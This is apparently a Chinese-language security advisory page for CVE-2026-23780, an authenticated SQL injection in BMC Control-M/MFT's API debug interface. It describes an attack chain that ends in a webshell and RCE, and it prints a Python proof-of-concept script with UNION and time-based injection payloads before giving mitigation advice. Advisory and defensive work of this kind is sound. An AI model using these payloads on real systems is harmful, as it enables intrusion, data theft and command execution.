IPBUF安全漏洞报告
English
CVE-2026-23780 CVSS 8.8 高危

CVE-2026-23780 BMC Control-M/MFT SQL注入漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-23780
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
BMC Control-M/MFT

相关标签

SQL注入远程代码执行BMC Control-M/MFT高危漏洞文件读写

漏洞概述

BMC Control-M/MFT 9.0.20至9.0.22版本发现了一个严重的安全漏洞。该漏洞位于产品的MFT API调试接口中,源于对用户输入的不当验证以及不安全的动态SQL查询处理机制。经过身份验证的攻击者可以利用此漏洞注入恶意SQL语句。成功利用该漏洞可能导致攻击者执行任意文件的读取或写入操作,并在特定条件下进一步导致远程代码执行,对系统造成全面的安全威胁。

技术细节

该漏洞的核心原理在于BMC Control-M/MFT的MFT API调试接口未能正确过滤用户提供的输入参数,导致攻击者能够干扰应用程序预期的SQL查询。在技术实现上,受影响版本的接口直接将用户输入拼接到SQL语句中执行,未使用参数化查询或预编译语句。由于该接口需要低权限用户身份(PR:L),攻击者首先需要获取一个合法的Web界面或API访问凭证。一旦通过认证,攻击者可以构造包含SQL元字符(如单引号、注释符)的恶意Payload发送至服务器。通过利用特定数据库系统的扩展存储过程(如xp_cmdshell)或文件读写函数(如LOAD_FILE、INTO OUTFILE),攻击者可以突破数据库边界,在操作系统层面执行命令或操作敏感文件,从而实现从SQL注入到远程代码执行(RCE)的攻击链。

攻击链分析

STEP 1
侦察
攻击者识别目标网络上运行的BMC Control-M/MFT服务,并确定其版本在9.0.20至9.0.22之间。
STEP 2
获取凭证
由于漏洞需要低权限认证(PR:L),攻击者通过钓鱼、暴力破解或利用其他弱点获取一个合法的Web用户账号。
STEP 3
漏洞利用
攻击者使用获取的凭证登录系统,向MFT API的调试接口发送特制的HTTP POST请求,其中包含恶意SQL注入代码。
STEP 4
数据窃取与代码执行
成功注入后,攻击者利用数据库权限读取敏感文件或写入Webshell,进而提升权限并在服务器上执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-23780: BMC Control-M/MFT SQL Injection # This script demonstrates the vulnerability in the debug interface. import requests import sys # Target URL (replace with actual target) target_url = "https://<target-host>:<port>/mft/api/debug" # Valid credentials are required (PR:L) username = "low_priv_user" password = "password" # Login to get session token (simplified) session = requests.Session() login_payload = {"username": username, "password": password} login_resp = session.post(f"{target_url}/login", json=login_payload) if login_resp.status_code != 200: print("[!] Authentication failed.") sys.exit(1) print("[+] Authentication successful.") # Malicious SQL Injection Payload # Attempting to perform a time-based blind injection or file read # Example: ' OR 1=1; WAITFOR DELAY '0:0:5'-- (for MSSQL) payload = { "operation": "get_logs", "id": "1' UNION SELECT NULL, NULL, NULL, version()-- " } headers = {"Content-Type": "application/json"} try: print(f"[*] Sending payload to {target_url}...") response = session.post(target_url, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Request sent successfully. Check response for SQL output.") print("[+] Response:", response.text) else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

BMC Control-M/MFT 9.0.20
BMC Control-M/MFT 9.0.21
BMC Control-M/MFT 9.0.22

防御指南

临时缓解措施
如果无法立即安装补丁,建议暂时禁用MFT API中的调试接口功能,或通过防火墙规则阻断外部对该接口的访问。同时,加强所有用户账户的密码强度,并监控异常的数据库查询行为和系统文件变动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表